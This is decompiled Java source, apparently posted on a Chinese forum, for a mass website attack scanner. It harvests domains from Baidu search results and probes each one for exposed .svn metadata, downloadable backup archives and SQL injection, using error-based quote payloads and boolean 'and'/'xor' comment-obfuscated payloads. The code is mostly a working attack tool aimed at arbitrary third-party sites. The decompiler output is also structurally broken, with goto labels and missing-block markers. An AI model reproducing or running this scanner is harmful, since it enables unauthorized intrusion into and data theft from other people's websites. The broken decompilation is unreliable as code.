[Java] 纯文本查看 复制代码
// Decompiled by Jad v1.5.8e2. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://kpdus.tripod.com/jad.html
// Decompiler options: packimports(3) fieldsfirst ansi space
package sql;
import java.io.*;
import java.net.*;
// Referenced classes of package sql:
// sql
final class a
implements Runnable
{
private int a;
private int b;
private static String c = "";
private String d[];
private static int e = 0;
private static String f = "";
private int g;
private Boolean h;
private Boolean i;
private Boolean j;
private Boolean k;
private Boolean l;
private Boolean m;
private Boolean n;
private Boolean o;
public a(String as[], int i1, int j1, int k1, boolean flag, boolean flag1, boolean flag2,
boolean flag3, boolean flag4, boolean flag5, boolean flag6, boolean flag7)
{
g = 0;
h = Boolean.valueOf(false);
i = Boolean.valueOf(false);
j = Boolean.valueOf(false);
k = Boolean.valueOf(false);
l = Boolean.valueOf(false);
m = Boolean.valueOf(false);
n = Boolean.valueOf(false);
o = Boolean.valueOf(false);
a = i1;
d = as;
g = k1;
b = j1;
h = Boolean.valueOf(flag);
i = Boolean.valueOf(flag1);
j = Boolean.valueOf(flag2);
k = Boolean.valueOf(flag3);
l = Boolean.valueOf(flag4);
m = Boolean.valueOf(flag5);
n = Boolean.valueOf(flag6);
o = Boolean.valueOf(flag7);
}
public final void run()
{
int j1;
int k1;
if (d.length <= b)
break MISSING_BLOCK_LABEL_269;
j1 = 0;
k1 = 0 * b + a;
goto _L1
_L9:
int l1 = 0;
goto _L2
_L7:
int i1 = l1 * 50;
String as2[];
String s;
if ((as2 = (s = d((new StringBuilder("http://www.baidu.com/s?ie=utf-8&mod=1&isbd=1&isid=69C31E2567F24841&ie=utf-8&f=8&rsv_bp=1&tn=baiduadv&wd=")).append(URLEncoder.encode(d[k1], "UTF-8")).append("&rn=50&pn=").append(i1).toString())).split("class=\"c-showurl\" style=\"text-decoration:none;\">")).length <= 1)
continue; /* Loop/switch isn't completed */
s = 1;
goto _L3
_L5:
String s2;
String as[];
if (as2[s].indexOf("/") == -1 || c((as = as2[s].split("/"))[0]) == "")
continue; /* Loop/switch isn't completed */
s2 = c(as[0]);
if (c.indexOf(s2) != -1)
continue; /* Loop/switch isn't completed */
c = (new StringBuilder(String.valueOf(c))).append(s2).append("/**/").toString();
sql.b((new StringBuilder("正在扫描---")).append(s2).toString());
if (!sql.a.booleanValue())
{
sql.b("正在结束线程!");
return;
}
b(s2);
s++;
_L3:
if (s < as2.length) goto _L5; else goto _L4
_L4:
continue; /* Loop/switch isn't completed */
JVM INSTR pop ;
l1++;
_L2:
if (l1 < 20) goto _L7; else goto _L6
_L6:
k1 = ++j1 * b + a;
_L1:
if (k1 < d.length) goto _L9; else goto _L8
_L8:
return;
j1 = 0;
goto _L10
_L15:
k1 = j1 * 50;
String s1;
if ((as2 = (s1 = d((new StringBuilder("http://www.baidu.com/s?ie=utf-8&mod=1&isbd=1&isid=69C31E2567F24841&ie=utf-8&f=8&rsv_bp=1&tn=baiduadv&wd=")).append(URLEncoder.encode(d[a], "UTF-8")).append("&rn=50&pn=").append(k1).toString())).split("class=\"c-showurl\" style=\"text-decoration:none;\">")).length <= 1)
continue; /* Loop/switch isn't completed */
s1 = 1;
goto _L11
_L13:
String as1[];
if (as2[s1].indexOf("/") == -1 || c((as1 = as2[s1].split("/"))[0]) == "")
continue; /* Loop/switch isn't completed */
as1 = c(as1[0]);
if (c.indexOf(as1) != -1)
continue; /* Loop/switch isn't completed */
c = (new StringBuilder(String.valueOf(c))).append(as1).append("/**/").toString();
sql.b((new StringBuilder("正在扫描---")).append(as1).toString());
if (!sql.a.booleanValue())
{
sql.b("正在结束线程!");
return;
}
b(as1);
s1++;
_L11:
if (s1 < as2.length) goto _L13; else goto _L12
_L12:
continue; /* Loop/switch isn't completed */
JVM INSTR pop ;
j1++;
_L10:
if (j1 < 20) goto _L15; else goto _L14
_L14:
}
private static void a(String s)
{
String s1;
String as[];
for (int i1 = (as = (s1 = "web.zip\r\nweb.rar\r\nwwwroot.rar\r\nwwwroot.zip\r\nwww.root.rar\r\nwww.root.zip\r\n1.rar\r\n1.zip\r\nbbs.rar\r\nbbs.zip\r\n123.rar\r\n123.zip\r\ndata.rar\r\ndata.zip\r\nadmin.rar\r\nadmin.zip\r\nwww.rar\r\nwww.zip\r\n2014.rar\r\n2015.rar\r\n2016.rar\r\n2014.zip\r\n2015.zip\r\n2016.zip").split("\r\n")).length; i1 > 0;)
{
i1--;
String s2;
String as1[];
if ((as1 = (s2 = d((new StringBuilder("http://")).append(s).append("/").append(as[i1]).toString())).split("judge")).length > 1)
{
System.out.println((new StringBuilder(String.valueOf(as1[0]))).append("----").append(as1[1]).toString());
if (Integer.parseInt(as1[1]) > 0x100000)
{
sql.a(String.valueOf(e++), (new StringBuilder("http://")).append(s).append("/").append(as[i1]).toString(), "源码备份");
return;
}
}
}
}
private static Boolean a(String s, String s1)
{
String as[] = d((new StringBuilder(String.valueOf(s))).append(URLEncoder.encode("'/**/Xor/**/'1438'='1438", "UTF-8")).toString()).split("judge");
String as2[] = d((new StringBuilder(String.valueOf(s))).append(URLEncoder.encode("'/**/Xor/**/'741'='438", "UTF-8")).toString()).split("judge");
String s2 = as[0];
String s4 = as2[0];
if (!s2.equals(s1) || s4.equals(s1))
break MISSING_BLOCK_LABEL_113;
sql.a(String.valueOf(e++), s, "Xor字符注入");
return Boolean.valueOf(true);
String as1[] = d((new StringBuilder(String.valueOf(s))).append(URLEncoder.encode("/**/Xor/**/1438=1438", "UTF-8")).toString()).split("judge");
String as3[] = d((new StringBuilder(String.valueOf(s))).append(URLEncoder.encode("/**/Xor/**/741=438", "UTF-8")).toString()).split("judge");
String s3 = as1[0];
String s5 = as3[0];
if (!s3.equals(s1) || s5.equals(s1))
break MISSING_BLOCK_LABEL_227;
sql.a(String.valueOf(e++), s, "Xor数字注入");
return Boolean.valueOf(true);
JVM INSTR pop ;
return Boolean.valueOf(false);
}
private static Boolean b(String s, String s1)
{
String as[] = d((new StringBuilder(String.valueOf(s))).append(URLEncoder.encode("'/**/and/**/'1438'='1438", "UTF-8")).toString()).split("judge");
String as1[] = d((new StringBuilder(String.valueOf(s))).append(URLEncoder.encode("'/**/and/**/'741'='438", "UTF-8")).toString()).split("judge");
String s2 = as[0];
String s3 = as1[0];
if (s2.length() <= 50 || (double)s3.length() / (double)s1.length() >= 0.69999999999999996D || s1.indexOf(s2.substring(s2.length() - 50, s2.length())) == -1 || (double)s3.length() / (double)s2.length() >= 0.80000000000000004D)
break MISSING_BLOCK_LABEL_166;
sql.a(String.valueOf(e++), s, "And字符注入");
return Boolean.valueOf(true);
JVM INSTR pop ;
return Boolean.valueOf(false);
}
private static Boolean c(String s, String s1)
{
String as[] = d((new StringBuilder(String.valueOf(s))).append(URLEncoder.encode("/**/and/**/1438=1438", "UTF-8")).toString()).split("judge");
String as1[] = d((new StringBuilder(String.valueOf(s))).append(URLEncoder.encode("/**/and/**/741=438", "UTF-8")).toString()).split("judge");
String s2 = as[0];
String s3 = as1[0];
if (s2.length() <= 50 || (double)s3.length() / (double)s1.length() >= 0.69999999999999996D || s1.indexOf(s2.substring(s2.length() - 50, s2.length())) == -1 || (double)s3.length() / (double)s2.length() >= 0.80000000000000004D)
break MISSING_BLOCK_LABEL_166;
sql.a(String.valueOf(e++), s, "And数字注入");
return Boolean.valueOf(true);
JVM INSTR pop ;
return Boolean.valueOf(false);
}
private void b(String s)
{
if (h.booleanValue())
{
String s3 = s;
String s1;
if ((s1 = d((new StringBuilder("http://")).append(s3).append("/.svn/entries").toString())).indexOf("dir") != -1 && s1.indexOf("svn") != -1 && s1.indexOf("<?xml") == -1)
sql.a(String.valueOf(e++), (new StringBuilder("http://")).append(s3).append("/.svn/entries").toString(), "Svn源码泄露");
}
if (o.booleanValue())
a(s);
Object obj;
String as1[];
if (((String) (obj = d((new StringBuilder("http://")).append(s).toString()))).indexOf("<a href=\"") == -1 || (as1 = ((String) (obj)).split("<a href=\"")).length <= 1) goto _L2; else goto _L1
_L1:
int i1;
int j1;
i1 = 1;
j1 = 0;
goto _L3
_L19:
String s2;
Object obj1;
String s4;
if (j1 == g)
break; /* Loop/switch isn't completed */
if ((obj = as1[i1].split("\""))[0].indexOf(".php?") == -1 && obj[0].indexOf(".asp?") == -1 && obj[0].indexOf(".jsp?") == -1 && obj[0].indexOf(".aspx?") == -1)
break MISSING_BLOCK_LABEL_748;
if (obj[0].indexOf("http://") != -1 || obj[0].indexOf("https://") != -1)
obj = obj[0];
else
obj = (new StringBuilder("http://")).append(s).append("/").append(obj[0]).toString();
if (f.indexOf(((String) (obj))) != -1)
break MISSING_BLOCK_LABEL_748;
j1++;
f = (new StringBuilder(String.valueOf(f))).append(((String) (obj))).append("\r\n").toString();
String as[];
s2 = (as = d(((String) (obj))).split("jduge"))[0];
if (!i.booleanValue())
break MISSING_BLOCK_LABEL_467;
s4 = s2;
obj1 = obj;
String s5;
if ((s5 = d((new StringBuilder(String.valueOf(obj1))).append("%27").toString())).indexOf("Microsoft JET Database Engine") == -1 && (s4.indexOf("{500}") != -1 || s5.indexOf("{500}") == -1)) goto _L5; else goto _L4
_L4:
sql.a(String.valueOf(e++), ((String) (obj1)), "显错注入");
Boolean.valueOf(true);
goto _L6
_L5:
Boolean.valueOf(false);
_L6:
booleanValue();
JVM INSTR ifne 751;
goto _L7 _L8
_L7:
break MISSING_BLOCK_LABEL_467;
_L8:
continue; /* Loop/switch isn't completed */
if (!j.booleanValue())
break MISSING_BLOCK_LABEL_576;
s4 = s2;
obj1 = obj;
if ((s5 = d((new StringBuilder(String.valueOf(obj1))).append("%27%23").toString())).indexOf("MySQL ") == -1 && (s4.indexOf("{500}") != -1 || s5.indexOf("{500}") == -1)) goto _L10; else goto _L9
_L9:
sql.a(String.valueOf(e++), ((String) (obj1)), "显错注入");
Boolean.valueOf(true);
goto _L11
_L10:
Boolean.valueOf(false);
_L11:
booleanValue();
JVM INSTR ifne 751;
goto _L12 _L13
_L12:
break MISSING_BLOCK_LABEL_576;
_L13:
continue; /* Loop/switch isn't completed */
if (!k.booleanValue())
break MISSING_BLOCK_LABEL_685;
s4 = s2;
obj1 = obj;
if ((s5 = d((new StringBuilder(String.valueOf(obj1))).append("%27%23").toString())).indexOf("System.Data.SqlClient.SqlException:") == -1 && (s4.indexOf("{500}") != -1 || s5.indexOf("{500}") == -1)) goto _L15; else goto _L14
_L14:
sql.a(String.valueOf(e++), ((String) (obj1)), "显错注入");
Boolean.valueOf(true);
goto _L16
_L15:
Boolean.valueOf(false);
_L16:
booleanValue();
JVM INSTR ifne 751;
goto _L17 _L18
_L17:
break MISSING_BLOCK_LABEL_685;
_L18:
continue; /* Loop/switch isn't completed */
if (l.booleanValue() && c(((String) (obj)), s2).booleanValue() || m.booleanValue() && b(((String) (obj)), s2).booleanValue() || n.booleanValue() && a(((String) (obj)), s2).booleanValue())
continue; /* Loop/switch isn't completed */
i1++;
_L3:
if (i1 < as1.length) goto _L19; else goto _L2
_L2:
}
private static String c(String s)
{
String as[];
if (s.indexOf("...") != -1 && (as = s.split("...")).length > 1)
s = as[0];
if (s.indexOf("<b>") != -1)
{
as = s.split("<b>");
s = (new StringBuilder(String.valueOf(as[0]))).append(as[1]).toString();
}
if (s.indexOf("<") != -1)
s = (as = s.split("<"))[0];
if (s.indexOf("</b>") != -1)
{
as = s.split("</b>");
s = (new StringBuilder(String.valueOf(as[0]))).append(as[1]).toString();
}
if (s.indexOf("http://") != -1)
s = (as = s.split("http://"))[1];
if (s.indexOf("https://") != -1)
s = (as = s.split("https://"))[1];
return s;
}
private static String d(String s)
{
Object obj = new URL(s);
if ((s = s.split("http://")).length <= 1)
break MISSING_BLOCK_LABEL_170;
s = s[1].split("/");
((HttpURLConnection) (obj = (HttpURLConnection)((URL) (obj)).openConnection())).setRequestProperty("Accept", "text/html, application/xhtml+xml, image/jxr, */*");
((HttpURLConnection) (obj)).setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36");
((HttpURLConnection) (obj)).setRequestProperty("Accept-Language", "zh-CN");
((HttpURLConnection) (obj)).setRequestProperty("Host", s[0]);
((HttpURLConnection) (obj)).setRequestProperty("Connection", "Keep-Alive");
((HttpURLConnection) (obj)).setRequestMethod("GET");
if ((s = ((HttpURLConnection) (obj)).getResponseCode()) != 500 && s != 200)
return "{404}judge0";
if (s == 500)
return "{500}judge0";
int i1;
s = a(((HttpURLConnection) (obj)).getInputStream());
i1 = 0;
if (((HttpURLConnection) (obj)).getContentLength() != -1)
i1 = ((HttpURLConnection) (obj)).getContentLength();
return (new StringBuilder(String.valueOf(s))).append("judge").append(i1).toString();
JVM INSTR pop ;
break MISSING_BLOCK_LABEL_170;
JVM INSTR pop ;
return "err";
}
private static String a(InputStream inputstream)
{
inputstream = new BufferedReader(new InputStreamReader(inputstream));
StringBuffer stringbuffer = new StringBuffer();
String s;
while ((s = inputstream.readLine()) != null)
stringbuffer.append(s);
inputstream.close();
return stringbuffer.toString();
}
}